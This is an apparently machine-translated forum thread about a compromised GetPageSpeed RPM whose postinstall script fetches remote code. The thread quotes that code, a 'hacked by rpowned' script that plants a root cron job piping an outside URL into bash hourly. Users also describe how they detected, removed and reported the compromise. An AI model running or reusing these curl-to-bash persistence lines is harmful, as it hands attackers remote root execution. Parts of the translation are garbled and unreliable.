Làm thế nào để cài đặt RPM này tạo ra một tập tin?

Chạy yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmtạo /etc/cron.d/sysstat2nhưng RPM từ chối tệp:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

RPM đã tạo tập tin như thế nào và làm thế nào để tôi thấy nó đã làm gì khác?

# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php chứa đựng:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2

Bạn đã phát hiện ra các tập lệnh của vòng / phút chạy một tập lệnh từ Internet và tập lệnh đó hiện đang chuyển hướng đến những gì có thể là phần mềm độc hại. Mặc dù, tôi không tìm thấy nhiều trọng tải mà làm bất cứ điều gì.

vòng / phút không thể hoàn toàn theo dõi những gì đã xảy ra bởi vì nó đang chạy một kịch bản tùy ý.

gpgcheck sẽ không giúp bạn, cả getpagespeed-extras-7-6.el7.gps.noarch.rpmvà getpagespeed-extras-release-7-1.el7.gps.noarch.rpmbạn được liên kết dường như có chữ ký hợp lệ:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <info@getpagespeed.com>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Khiếu nại với chủ sở hữu repo rằng gói chạy mã tùy ý từ Internet. Nếu phải làm như vậy, bảo mật chuỗi cung ứng phần mềm của họ cần được cải thiện.

Có vẻ hơi hoang tưởng khi thực hiện cài đặt phần mềm đầu tiên mà không cần truy cập Internet hoặc kiểm tra thủ công tập lệnh "cài đặt bài". Nhưng thật không may, hầu như có vẻ cần thiết nếu các gói làm thủ thuật thiếu sáng suốt như thế này.

Tôi có 5 máy chủ CLoudLinux / cPanel đã từng sử dụng Nginx trên chúng thông qua Engintron, nhưng hiện tại chúng chạy máy chủ web LiteSpeed. Tôi nghĩ rằng Engintron có thể đã để lại các repos trang bị bỏ lại khi nó được gỡ cài đặt. cPanel chạy kiểm tra cập nhật mỗi đêm và vào khoảng nửa đêm tất cả các máy chủ của tôi đã gửi cho tôi một báo cáo E-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Một tìm kiếm cho trang web tải trọng đã dẫn tôi đến đây, nơi tôi thấy rằng vào cùng ngày bạn có cùng một vấn đề. Vì vậy, để thêm thông tin của tôi cho riêng bạn. Các /etc/cron.d/sysstat2tập tin tương tự đã tồn tại trên tất cả các máy chủ của tôi.

Tôi đã xóa tệp, xóa các repos và sử dụng biểu mẫu liên hệ tại GetPageSpeed ​​để báo cáo vấn đề. Chủ sở hữu của Repo có thể là AWOL vì có một bài đăng trên blog nói rằng anh ta đã tắt repo do vấn đề sức khỏe. Vì vậy, có lẽ kẻ tấn công đã lợi dụng thực tế là repo không được chú ý, hoặc tìm thấy một cánh cửa mở để khai thác.